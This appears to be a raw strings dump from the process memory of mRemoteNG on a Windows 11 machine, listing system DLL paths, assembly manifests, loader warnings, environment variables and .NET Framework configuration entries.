3++S++ 3++S++ 3++S 3++S++ C:\WINDOWS\SysWOW64\ntdll.dll C:\WINDOWS\WinSxs\ Microsoft.Windows.SystemCompatible Microsoft.Windows.SystemCompatible,processorArchitecture="x86",publicKeyToken="6595b64144ccf1df",type="win32",version="6.0.26100.1"System Default Context x86_microsoft.windows.systemcompatible_6595b64144ccf1df_6.0.26100.1_none_4b76b994e0e77783 Microsoft.Windows.IsolationAutomation Microsoft.Windows.IsolationAutomation,processorArchitecture="x86",publicKeyToken="6595b64144ccf1df",type="win32",version="1.0.26100.5074"C:\WINDOWS\WinSxS\manifests\x86_microsoft.windows.isolationautomation_6595b64144ccf1df_1.0.26100.5074_none_374655d025f55b6d.manifest x86_microsoft.windows.isolationautomation_6595b64144ccf1df_1.0.26100.5074_none_374655d025f55b6d Microsoft.Windows.GdiPlus Microsoft.Windows.GdiPlus,processorArchitecture="x86",publicKeyToken="6595b64144ccf1df",type="win32",version="1.1.26100.7824"C:\WINDOWS\WinSxS\manifests\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.26100.7824_none_b6a09a6f5242f736.manifest x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.26100.7824_none_b6a09a6f5242f736 Microsoft.Windows.Common-Controls Microsoft.Windows.Common-Controls,processorArchitecture="x86",publicKeyToken="6595b64144ccf1df",type="win32",version="5.82.26100.7309"C:\WINDOWS\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.26100.7309_none_cf9c45068ea8c077.manifest x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.26100.7309_none_cf9c45068ea8c077 Microsoft.Windows.IsolationAutomation.ProxyStub Microsoft.Windows.IsolationAutomation.ProxyStub,processorArchitecture="x86",publicKeyToken="6595b64144ccf1df",type="win32",version="1.0.26100.5074"C:\WINDOWS\WinSxS\manifests\x86_microsoft.windows.i..utomation.proxystub_6595b64144ccf1df_1.0.26100.5074_none_e0bda70384ff7581.manifest x86_microsoft.windows.i..utomation.proxystub_6595b64144ccf1df_1.0.26100.5074_none_e0bda70384ff7581 Microsoft.Windows.Common-Controls.Resources Microsoft.Windows.Common-Controls.Resources,language="en-us",processorArchitecture="x86",publicKeyToken="6595b64144ccf1df",type="win32",version="5.82.26100.1591"C:\WINDOWS\WinSxS\manifests\x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_5.82.26100.1591_en-us_e5a8b31fbb4e209d.manifest x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_5.82.26100.1591_en-us_e5a8b31fbb4e209d en-US sxsoa.dll C:\WINDOWS\system32\sxsoa.dll C:\WINDOWS\SysWOW64\sxsoa.dll GdiPlus.dll C:\WINDOWS\system32\GdiPlus.dll C:\WINDOWS\SysWOW64\GdiPlus.dll comctl32.dll C:\WINDOWS\system32\comctl32.dll C:\WINDOWS\SysWOW64\comctl32.dll sxsoaps.dll C:\WINDOWS\system32\sxsoaps.dll C:\WINDOWS\SysWOW64\sxsoaps.dll sxsoaps.tlb C:\WINDOWS\system32\sxsoaps.tlb C:\WINDOWS\SysWOW64\sxsoaps.tlb comctl32.dll.mui C:\WINDOWS\system32\comctl32.dll.mui C:\WINDOWS\SysWOW64\comctl32.dll.mui ToolbarWindow32 ToolbarWindow32 comctl32.dll ComboBoxEx32 ComboBoxEx32 comctl32.dll msctls_trackbar32 msctls_trackbar32 comctl32.dll msctls_updown32 msctls_updown32 comctl32.dll msctls_progress32 msctls_progress32 comctl32.dll msctls_hotkey32 msctls_hotkey32 comctl32.dll msctls_statusbar32 msctls_statusbar32 comctl32.dll SysHeader32 SysHeader32 comctl32.dll SysListView32 SysListView32 comctl32.dll SysTreeView32 SysTreeView32 comctl32.dll SysTabControl32 SysTabControl32 comctl32.dll SysIPAddress32 SysIPAddress32 comctl32.dll SysPager SysPager comctl32.dll NativeFontCtl NativeFontCtl comctl32.dll Button Button comctl32.dll Static Static comctl32.dll Listbox Listbox comctl32.dll ScrollBar ScrollBar comctl32.dll tooltips_class32 tooltips_class32 comctl32.dll ButtonListBox ButtonListBox comctl32.dll SysAnimate32 SysAnimate32 comctl32.dll SysMonthCal32 SysMonthCal32 comctl32.dll SysDateTimePick32 SysDateTimePick32 comctl32.dll ReBarWindow32 ReBarWindow32 comctl32.dll Edit Edit comctl32.dll Combobox Combobox comctl32.dll ComboLBox ComboLBox comctl32.dll sxsoaps.dll sxsoa.dll Microsoft.Windows.ActCtx.1 Microsoft.Windows.ActCtx.1 IActCtx sxsoaps.tlb sxsoa.dll Microsoft.Windows.ActCtx.1 Microsoft.Windows.ActCtx C:\Program Files (x86)\mRemoteNG\ MyApplication.app,version="1.0.0.0"C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe.Config &RQQHFWLRQV mRemoteNG.exe C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe Inst lRoot C:\WINDOWS\Explorer.EXE ???? !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ ???? !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ JJVVVVdd pp~~ ! "!#"$#%$&%'&(')(*)+*,+-,.-/.0/102132435465768798:9;:<;=<>=?>@?A@EAIBMCQDUEYF]GaHeIiJmKqLuMyN}O ???? !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ JJVVVVdd pp~~ C:\WINDOWS\SYSTEM32\ntdll.dll C:\WINDOWS\SYSTEM32;C:\WINDOWS\system;C:\WINDOWS; C:\WINDOWS\System32\wow64.dll Locating export "BTCpuUseChpeFile" for DLL "Unknown" failed with status: 0xc0000139. 1514-LdrpNameToOrdinal-WAR-Procedure "BTCpuOptimizeChpeImportThunks" could not be located in DLL at base 0x0000000077410000. 1514-LdrpReportError-WAR-Locating export "BTCpuOptimizeChpeImportThunks" for DLL "Unknown" failed with status: 0xc0000139. 1514-LdrpNameToOrdinal-WAR-Procedure "BTCpuNotifyProcessExecuteFlagsChange" could not be located in DLL at base 0x0000000077410000. 1514-LdrpReportError-WAR-Locating export "BTCpuNotifyProcessExecuteFlagsChange" for DLL "Unknown" failed with status: 0xc0000139. 1514-LdrpNameToOrdinal-WAR-Procedure "BTCpuProcessDebugEvent" could not be located in DLL at base 0x0000000077410000. 1514-LdrpReportError-WAR-Locating export "BTCpuProcessDebugEvent" for DLL "Unknown" failed with status: 0xc0000139. 1514-LdrpNameToOrdinal-WAR-Procedure "BTCpuFlushInstructionCacheHeavy" could not be located in DLL at base 0x0000000077410000. 1514-LdrpReportError-WAR-Locating export "BTCpuFlushInstructionCacheHeavy" for DLL "Unknown" failed with status: 0xc0000139. 1514-LdrpNameToOrdinal-WAR-Procedure "BTCpuNotifyMemoryDirty" could not be located in DLL at base 0x0000000077410000. 1514-LdrpReportError-WAR-Locating export "BTCpuNotifyMemoryDirty" for DLL "Unknown" failed with status: 0xc0000139. eportError-WAR-Locating export "BTCpuUpdateProcessorInformation" for DLL "Unknown" failed with status: 0xc0000139. 1514-LdrpNameToOrdinal-WAR-Procedure "BTCpuNotifyReadFile" could not be located in DLL at base 0x0000000077410000. 1514-LdrpReportError-WAR-Locating export "BTCpuNotifyReadFile" for DLL "Unknown" failed with status: 0xc0000139. 1514-LdrpNameToOrdinal-WAR-Procedure "BTCpuCfgDispatchControl" could not be located in DLL at base 0x0000000077410000. 1514-LdrpReportError-WAR-Locating export "BTCpuCfgDispatchControl" for DLL "Unknown" failed with status: 0xc0000139. 1514-LdrpNameToOrdinal-WAR-Procedure "BTCpuUseChpeFile" could not be located in DLL at base 0x0000000077410000. 1514-LdrpReportError-WAR- =::=::\ ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\job\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData EFC_4124_1262719628=1 EFC_4124_1592913036=1 EFC_4124_2283032206=1 EFC_4124_2775293581=1 EFC_4124_3789132940=1 HOMEDRIVE=C: HOMEPATH=\Users\job LOCALAPPDATA=C:\Users\job\AppData\Local LOGONSERVER=\\WINDOWS11 NUMBER_OF_PROCESSORS=2 OneDrive=C:\Users\job\OneDrive OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps; PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SESSIONNAME=Console SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Temp TMP=C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS SimSun-ExtB 2675093e-d43e-4af4- C:\WINDOWS\System32 C:\Program Files %SystemRoot%\syst SimSun-ExtG C:\Program Files (x86)\mRemoteNG\ C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe "C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe" C:\Users\Public\Desktop\mRemoteNG.lnk Winsta0\Default C:\WINDOWS\ FC8E510-A27C-4B3B-B9A3-BF65F00256A8} C:\WINDOWS\system32\wow64cpu.dll wow64base.dll C:\WINDOWS\System32\wow64cpu.dll C:\WINDOWS\System32\wow64base.dll wow64win.dll C:\WINDOWS\System32\wow64win.dll mSun \Sessions\1\Windows\ApiPortection C:\WINDOWS\System32\wow64con.dll \Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages\en-US 2Node\CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB68820}\TreatAs id32 STRICTIONS \Registry\Machine\Software\WOW6432Node\Microsoft\LanguageOverlay\OverlayPackages\en-US 820} E1BD-3233-11D2-AEC9-00C04FB68820} InprocServer32 C:\WINDOWS\SYSTEM32\ntdll.dll C:\WINDOWS\System32 C:\WINDOWS\SYSTEM32;C:\WINDOWS\system;C:\WINDOWS; 1514-LdrpNameToOrdinal-WAR-Procedure "CreatePopupMenuW" could not be located in DLL at base 0x76FD0000. 1514-LdrpReportError-WAR-Locating export "CreatePopupMenuW" for DLL "Unknown" failed with status: 0xc0000139. 1514-LdrpNameToOrdinal-WAR-Procedure "AppendMenu" could not be located in DLL at base 0x76FD0000. 1514-LdrpReportError-WAR-Locating export "AppendMenu" for DLL "Unknown" failed with status: 0xc0000139. 1514-LdrpNameToOrdinal-WAR-Procedure "InsertMenu" could not be located in DLL at base 0x76FD0000. 1514-LdrpReportError-WAR-Locating export "InsertMenu" for DLL "Unknown" failed with status: 0xc0000139. 1514-LdrpNameToOrdinal-WAR-Procedure "GetThemePartSizeW" could not be located in DLL at base 0x722A0000. 1514-LdrpReportError-WAR-Locating export "GetThemePartSizeW" for DLL "Unknown" failed with status: 0xc0000139. 1514-LdrpNameToOrdinal-WAR-Procedure "LoadIcon" could not be located in DLL at base 0x76FD0000. 1514-LdrpReportError-WAR-Locating export "LoadIcon" for DLL "Unknown" failed with status: 0xc0000139. 1514-LdrpLoadDllInternal-E-NTDLL.DLL 1514-LdrpLoadDllInternal-R-0 1514-LdrpLoadDllInternal-E-TextShaping.dll 1514-LdrpLoadDllInternal-R-0 ernal-R-0 1810-LdrGetDllHandleEx-R-0 1810-LdrpLoadDllInternal-E-NTDLL.DLL 1810-LdrpLoadDllInternal-R-0 17b0-LdrpLoadDllInternal-E-NTDLL.DLL 17b0-LdrpLoadDllInternal-R-0 17b0-LdrpLoadDllInternal-E-NTDLL.DLL 17b0-LdrpLoadDllInternal-R-0 17b0-LdrpLoadDllInternal-E-NTDLL.DLL 17b0-LdrpLoadDllInternal-R-0 17b0-LdrpLoadDllInternal-E-NTDLL.DLL 17b0-LdrpLoadDllInternal-R-0 17b0-LdrGetDllHandleEx-E-oleaut32.dll 17b0-LdrpFindLoadedDllInternal-R-0 17b0-LdrGetDllHandleEx-R-0 17b0-LdrpLoadDllInternal-E-NTDLL.DLL 17b0-LdrpLoadDllInternal-R-0 74c-LdrpLoadDllInternal-E-NTDLL.DLL 74c-LdrpLoadDllInternal-R-0 74c-LdrpLoadDllInternal-E-NTDLL.DLL 74c-LdrpLoadDllInternal-R-0 74c-LdrpLoadDllInternal-E-NTDLL.DLL 74c-LdrpLoadDllInternal-R-0 74c-LdrpLoadDllInternal-E-NTDLL.DLL 74c-LdrpLoadDllInternal-R-0 1514-LdrpLoadDllInternal-E-C:\WINDOWS\SYSTEM32\combase.dll 1514-LdrpLoadDllInternal-R- v4.0.30319 InstallRoot ramData=C:\P C:\Program Files (x86)\mRemoteNG\ s(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SESSIONNAME=Console SystemDrive=C: !!" ())** AcB `Aac C:\Program Files (x86)\mRemoteNG\ C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe "C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe" C:\Users\Public\Desktop\mRemoteNG.lnk Winsta0\Default =::=::\ ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\job\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData EFC_4124_1262719628=1 EFC_4124_1592913036=1 EFC_4124_2283032206=1 EFC_4124_2775293581=1 EFC_4124_3789132940=1 HOMEDRIVE=C: HOMEPATH=\Users\job LOCALAPPDATA=C:\Users\job\AppData\Local LOGONSERVER=\\WINDOWS11 NUMBER_OF_PROCESSORS=2 OneDrive=C:\Users\job\OneDrive OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps; PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SESSIONNAME=Console SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Temp TMP=C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS C:\WINDOWS\SYSTEM32\MSCOREE.DLL C:\WINDOWS\System32\KERNEL32.dll C:\WINDOWS\System32\KERNELBASE.dll =::=::\ ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\job\AppData\Roaming CommonProgramFiles=C:\Program Files (x86)\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData EFC_4124_1262719628=1 EFC_4124_1592913036=1 EFC_4124_2283032206=1 EFC_4124_2775293581=1 EFC_4124_3789132940=1 HOMEDRIVE=C: HOMEPATH=\Users\job LOCALAPPDATA=C:\Users\job\AppData\Local LOGONSERVER=\\WINDOWS11 NUMBER_OF_PROCESSORS=2 OneDrive=C:\Users\job\OneDrive OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps; PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=x86 PROCESSOR_ARCHITEW6432=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files (x86) ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SESSIONNAME=Console SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Temp TMP=C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS rogram Files (x86)\mRemoteNG\mRemoteNG.exe C:\Users\job\AppData\Roaming CommonProg mscorees.dll C:\WINDOWS\System32\ADVAPI32.dll C:\WINDOWS\System32\msvcrt.dll C:\WINDOWS\System32\sechost.dll 30319 Version C:\WINDOWS\System32\RPCRT4.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll browser C:\Windows\Microsoft.NET\Framework\ local C:\Windows\Microso C:\WINDOWS\System32\SHLWAPI.dll OFILE=Windows11 USER C:\WINDOWS\System32\ucrtbase.dll C:\WINDOWS\SYSTEM32\kernel.appcore.dll C:\WINDOWS\System32\Windows.Storage.dll USER32.dll C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe C:\WINDOWS\System32\combase.dll en-US C:\WINDOWS\System32\msvcp_win.dll C:\WINDOWS\System32\gdi32full.dll NG.exe.config OnlyUseLatestCLR mscoreeis.dll CLRLoadLogDir C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe C:\WINDOWS\SYSTEM32\ucrtbase_clr0400.dll 0319 DefaultVersion ApplicationMigrationRuntimeActivationConfigPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll UseLegacyV2RuntimeActivationPolicyDefaultValue C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll C:\WINDOWS\System32\USER32.dll C:\WINDOWS\System32\win32u.dll C:\WINDOWS\System32\GDI32.dll C:\WINDOWS\System32\IMM32.DLL KnownFoldersSettingsProvider Wbem;C:\ Microsoft.AspNet.FriendlyUrls Microsoft.AspNet.Mvc.Facebook osoft.AspNet.Mvc.Facebook Microsoft.AspNet.SignalR.Client C:\WINDOWS\SYSTEM32\VERSION.dll PROCESSOR_LEVEL=6 PROCESS .lnk s\job windir=C:\ BuildFlavor v4.0.30319 mscorlib normnfc.nlp mscorlib WINDOWS11 mscorlib normnfd.nlp mscorlib 52C64B7E ((((( H ((((( H ((((( H System.Web.Http.SelfHost System.Web.WebPages.Razor System.Composition.Hosting System.Composition.Hosting EntityFramework.PowerShell NT AUTHORITY\LOCAL SERVICE System.Net.Http.WebRequest NT Authority\NetworkService generatePublisherEvidence APPDOMAIN_ID System.Net.Http.Formatting C:\Program Files (x86)\mRemoteNG;C:\WINDOWS\SYSTEM32;C:\WINDOWS\system;C:\WINDOWS;.;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps; C:\Windows\Microsoft.NET\Framework\v4.0.30319 indowsApps; C:\WINDOWS\SYSTEM32\VCRUNTIME140_CLR0400.dll en-US en-AU en-CA en-GB en-HK en-IE en-NZ en-SG ar-SA pt-BR zh-TW zh-CN zh-HK zh-SG cs-CZ da-DK el-GR es-AR es-CL es-CO es-ES es-MX es-US fi-FI fr-BE fr-CA fr-CH fr-FR de-AT de-CH de-DE he-IL hu-HU it-IT ja-JP ko-KR nl-BE nl-NL nb-NO pl-PL pt-PT ru-RU sv-SE tr-TR bg-BG hr-HR et-EE lv-LV lt-LT ro-RO sr-Latn-CS sr-Latn-RS sk-SK sl-SI th-TH uk-UA fy-NL qps-ploc qps-plocm qps-Latn-x-sh System.Web.Http.Tracing System.Web.Optimization System.Web.Http.WebHost Win32_OperatingSystem System.Web.Providers System.Web.Http.OData sect nGro System.Composition.AttributedModel stem.Web.WebPages.Admini Microsoft.VisualStudio.Web.Mvc.3.0 Microsoft.AspNet.SignalR.SqlServer System.Web.WebPages.Administration Microsoft.Owin.Host.HttpListener System.Composition.AttributedModel Microsoft.AspNet.SignalR.SystemWeb Microsoft.VisualStudio.Web.Mvc.4.0 Microsoft.AspNet.SignalR.ServiceBus ZAP_CONFIG_FLAGS ing.Tasks.Dataflow C:\WINDOWS\System32\OLEAUT32.dll EntityFramework.PowerShell.Utility CIdentityAttributeEnumerator BaseIdentity NT AUTHORITY\SYSTEM IdentityType APP_NAME cKeyToken35 C:\WINDOWS\assembly System.Web.Helpers 0.0.0.0-2.16.0.0 System.Web.Razor WebMatrix.WebData 5cded1a1a0a7b481 System.Web.WebPages Section, System, Versi Cor_CLR_WRITER\ System.Web.Http WebMatrix.Data System.Net.Http mRemoteNG.exe System.Web.Mvc EntityFramework System System System C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe \Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll C:\WINDOWS\Registration\R000000000006.clb psapi.dll System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 C:\WINDOWS\Microsoft.Net\assembly\GAC Microsoft.AspNet.Membership.OpenAuth System.Data.SqlXml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a Microsoft.AspNet.Web.Optimization.WebForms migrate signalr System.Web.WebPages.Deployment Microsoft.AspNet.SignalR.Owin Microsoft.AspNet.SignalR.Redis System.Threading.Tasks.Dataflow Microsoft.Web.WebPages.OAuth C:\WINDOWS\system32\uxtheme.dll System.Composition.Hosting System.Composition.TypedParts APP_CONFIG_FILE ost.SystemWeb C:\WINDOWS\System32\ole32.dll System.Composition.TypedParts System.Composition.Convention System.Composition.Convention Microsoft.AspNet.SignalR.Core asks Microsoft.Owin.Host.SystemWeb System.Threading.Tasks.Dataflow System.Threading.Tasks.Dataflow MACHINE_CONFIG ARPC_ENDPOINT igna C:\WINDOWS\System32\SHELL32.dll INDOWS\SYSTEM32\srvcli.dll C:\WINDOWS\SYSTEM32\SspiCli.dll C:\WINDOWS\SYSTEM32\srvcli.dll C:\WINDOWS\SYSTEM32\urlmon.dll WeifenLuo.WinFormsUI.Docking l\ZonesCacheCounterMutex C:\WINDOWS\Microsoft.Net\assembly\GAC_32 C:\WINDOWS\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll C:\WINDOWS\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll file:///C:/Windows/Microsoft.NET/Framework/v4.0.30319/ en-CH normnfkc.nlp normidna.nlp WINDOWS11 LSARPC_ENDPOINT APPBASE normnfkd.nlp mRemoteNG.exe APPBASE icrosoft.NET/Framework/v4.0.30319/ C:\WINDOWS\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll C:\WINDOWS\System32\bcryptPrimitives.dll C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe file:///C:/Program Files (x86)/mRemoteNG/ .exe B+ncalrpc:[OLEF368D941FD5B82C5192C3EFFB663] NT AUTHORITY\SYSTEM WinSta0\Default =::=::\ ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\job\AppData\Roaming CommonProgramFiles=C:\Program Files (x86)\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData EFC_4124_1262719628=1 EFC_4124_1592913036=1 EFC_4124_2283032206=1 EFC_4124_2775293581=1 EFC_4124_3789132940=1 HOMEDRIVE=C: HOMEPATH=\Users\job LOCALAPPDATA=C:\Users\job\AppData\Local LOGONSERVER=\\WINDOWS11 NUMBER_OF_PROCESSORS=2 OneDrive=C:\Users\job\OneDrive OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps; PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=x86 PROCESSOR_ARCHITEW6432=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files (x86) ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SESSIONNAME=Console SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Temp TMP=C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\mscorlib\b7f46ecd62a3aa399275b2302e207290\mscorlib.ni.dll lib\b7f4 lib.ni.dll.aux ib\b3 \mscorlib.ni.dll.aux mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 \mscorlib.dll C:\WINDOWS\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll Windows11 B+ncalrpc:[OLEF368D941FD5B82C5192C3EFFB663] NT AUTHORITY\SYSTEM C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\mscorlib\b7f46ecd62a3aa399275b2302e207290\mscorlib.ni.dll b.dll .aux C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\mscorlib\b7f46ecd62a3aa399275b2302e207290\mscorlib.ni.dll C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\mscorlib\b7f46ecd62a3aa399275b2302e207290\mscorlib.ni.dll es.dll C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\dea0393078281e3e807a8f0684433db5\System.ni.dll C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\dea0393078281e3e807a8f0684433db5\System.ni.dll C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\dea0393078281e3e807a8f0684433db5\System.ni.dll C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\dea0393078281e3e807a8f0684433db5\System.ni.dll System.Configuration ZAP_STRING System.Configuration System.Configuration System.Configuration System.Configuration HOST_CONFIG System.Windows.Forms System.Configuration System.Configuration System.Configuration C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe -core-winrt-l1-1-0.dll System.Core System.Core System.Core System.Core about:blank dummy://url about:blank System.Core System.Xml System.Xml mRemoteNG System.Xml System.Xml System.Xml System.Core 2.16.0.0 C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe.Config C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config Files C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll __FUSION_APPCFG_DOWNLOAD_ATTEMPTED__ emoteNG 